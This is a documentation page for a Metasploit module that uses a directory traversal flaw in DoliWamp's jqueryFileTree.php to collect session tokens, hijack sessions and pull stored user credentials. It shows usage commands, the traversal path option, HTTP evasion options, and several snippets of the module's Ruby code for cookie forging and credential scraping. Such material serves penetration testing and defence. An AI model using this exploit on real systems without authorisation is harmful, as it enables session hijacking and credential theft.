DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials - Metasploit


This page contains detailed information about how to use the auxiliary/gather/doliwamp_traversal_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials
Module: auxiliary/gather/doliwamp_traversal_creds
Source code: modules/auxiliary/gather/doliwamp_traversal_creds.rb
Disclosure date: 2014-01-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module will extract user credentials from DoliWamp - a WAMP packaged installer distribution for Dolibarr ERP on Windows - versions 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session tokens in filenames in the 'tmp' directory. A directory traversal vulnerability in 'jqueryFileTree.php' allows unauthenticated users to retrieve session tokens by listing the contents of this directory. Note: All tokens expire after 30 minutes of inactivity by default.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/doliwamp_traversal_creds
msf auxiliary(doliwamp_traversal_creds) > show targets
    ... a list of targets ...
msf auxiliary(doliwamp_traversal_creds) > set TARGET target-id
msf auxiliary(doliwamp_traversal_creds) > show options
    ... show and set options ...
msf auxiliary(doliwamp_traversal_creds) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the gather/doliwamp_traversal_creds auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/doliwamp_traversal_creds

msf6 auxiliary(gather/doliwamp_traversal_creds) > show info

       Name: DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials
     Module: auxiliary/gather/doliwamp_traversal_creds
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-01-12

Provided by:
  bcoles <[email protected]>

Check supported:
  Yes

Basic options:
  Name            Current Setting               Required  Description
  ----            ---------------               --------  -----------
  Proxies                                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           80                            yes       The target port (TCP)
  SSL             false                         no        Negotiate SSL/TLS for outgoing connections
  TARGETURI       /dolibarr/                    yes       The path to Dolibarr
  TRAVERSAL_PATH  ../../../../../../../../tmp/  yes       The traversal path to the application tmp directory
  VHOST                                         no        HTTP server virtual host

Description:
  This module will extract user credentials from DoliWamp - a WAMP 
  packaged installer distribution for Dolibarr ERP on Windows - 
  versions 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp 
  stores session tokens in filenames in the 'tmp' directory. A 
  directory traversal vulnerability in 'jqueryFileTree.php' allows 
  unauthenticated users to retrieve session tokens by listing the 
  contents of this directory. Note: All tokens expire after 30 minutes 
  of inactivity by default.

References:
  https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144
  https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb

Module Options


This is a complete list of options available in the gather/doliwamp_traversal_creds auxiliary module:

msf6 auxiliary(gather/doliwamp_traversal_creds) > show options

Module options (auxiliary/gather/doliwamp_traversal_creds):

   Name            Current Setting               Required  Description
   ----            ---------------               --------  -----------
   Proxies                                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80                            yes       The target port (TCP)
   SSL             false                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /dolibarr/                    yes       The path to Dolibarr
   TRAVERSAL_PATH  ../../../../../../../../tmp/  yes       The traversal path to the application tmp directory
   VHOST                                         no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/doliwamp_traversal_creds auxiliary module:

msf6 auxiliary(gather/doliwamp_traversal_creds) > show advanced

Module advanced options (auxiliary/gather/doliwamp_traversal_creds):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/doliwamp_traversal_creds module can do:

msf6 auxiliary(gather/doliwamp_traversal_creds) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/doliwamp_traversal_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/doliwamp_traversal_creds) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

48:	        'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
49:	      'cookie'    => @cookie,
50:	      'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
51:	    })
52:	    if !res
53:	      print_error("Connection failed")
54:	    elsif res.code == 404
55:	      print_error("Could not find 'jqueryFileTree.php'")
56:	    elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
57:	      tokens = res.body.scan(/>sess_([a-z0-9]+)</)
58:	      num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }

Could not find 'jqueryFileTree.php'


Here is a relevant code snippet related to the "Could not find 'jqueryFileTree.php'" error message:

50:	      'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
51:	    })
52:	    if !res
53:	      print_error("Connection failed")
54:	    elsif res.code == 404
55:	      print_error("Could not find 'jqueryFileTree.php'")
56:	    elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
57:	      tokens = res.body.scan(/>sess_([a-z0-9]+)</)
58:	      num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
59:	      print_good("Found #{num_tokens} session tokens")
60:	    else

Could not find any session tokens


Here is a relevant code snippet related to the "Could not find any session tokens" error message:

56:	    elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
57:	      tokens = res.body.scan(/>sess_([a-z0-9]+)</)
58:	      num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
59:	      print_good("Found #{num_tokens} session tokens")
60:	    else
61:	      print_error("Could not find any session tokens")
62:	    end
63:	    return tokens
64:	  end
65:	
66:	  #

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

76:	        'action'    => 'edit',
77:	        'id'        => "#{user_id}"
78:	      }.to_a.shuffle]
79:	    })
80:	    if !res
81:	      print_error("Connection failed")
82:	    elsif res.body =~ /User card/
83:	      record = [
84:	        res.body.scan(/name="login" value="([^"]+)"/             ).flatten.first,
85:	        res.body.scan(/name="password" value="([^"]+)"/          ).flatten.first,
86:	        res.body.scan(/name="superadmin" value="\d">(Yes|No)/    ).flatten.first,

Could not retrieve user credentials


Here is a relevant code snippet related to the "Could not retrieve user credentials" error message:

89:	      unless record.empty?
90:	        print_good("Found credentials (#{record[0]}:#{record[1]})")
91:	        return record
92:	      end
93:	    else
94:	      print_warning("Could not retrieve user credentials")
95:	    end
96:	  end
97:	
98:	  #
99:	  # Verify if session cookie is valid and return user's ID

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

102:	    res = send_request_cgi({
103:	      'uri'       => normalize_uri(target_uri.path, 'user/fiche.php'),
104:	      'cookie'    => @cookie
105:	    })
106:	    if !res
107:	      print_error("Connection failed")
108:	    elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
109:	      user_id = "#{$1}"
110:	      vprint_good("Hijacked session for user with ID '#{user_id}'")
111:	      return user_id
112:	    else

Could not hijack session. Session is invalid.


Here is a relevant code snippet related to the "Could not hijack session. Session is invalid." error message:

108:	    elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
109:	      user_id = "#{$1}"
110:	      vprint_good("Hijacked session for user with ID '#{user_id}'")
111:	      return user_id
112:	    else
113:	      vprint_status("Could not hijack session. Session is invalid.")
114:	    end
115:	  end
116:	
117:	  #
118:	  # Construct cookie using token

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

121:	    res = send_request_cgi({
122:	      'uri'       => normalize_uri(target_uri.path, 'user/fiche.php'),
123:	      'cookie'    => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
124:	    })
125:	    if !res
126:	      print_error("Connection failed")
127:	    elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
128:	      return "DOLSESSID_#{$1}=#{token}"
129:	    else
130:	      print_warning("Could not create session cookie")
131:	    end

Here is a relevant code snippet related to the "Could not create session cookie" error message:

125:	    if !res
126:	      print_error("Connection failed")
127:	    elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
128:	      return "DOLSESSID_#{$1}=#{token}"
129:	    else
130:	      print_warning("Could not create session cookie")
131:	    end
132:	  end
133:	
134:	  #
135:	  # Show progress percentage

No credentials collected.


Here is a relevant code snippet related to the "No credentials collected." error message:

185:	      end
186:	      progress(index + 1, tokens.size)
187:	    end
188:	
189:	    if credentials.empty?
190:	      print_warning("No credentials collected.")
191:	      return
192:	    end
193:	    cred_table = Rex::Text::Table.new(
194:	      'Header'  => 'Dolibarr User Credentials',
195:	      'Indent'  => 1,

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


bcoles

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.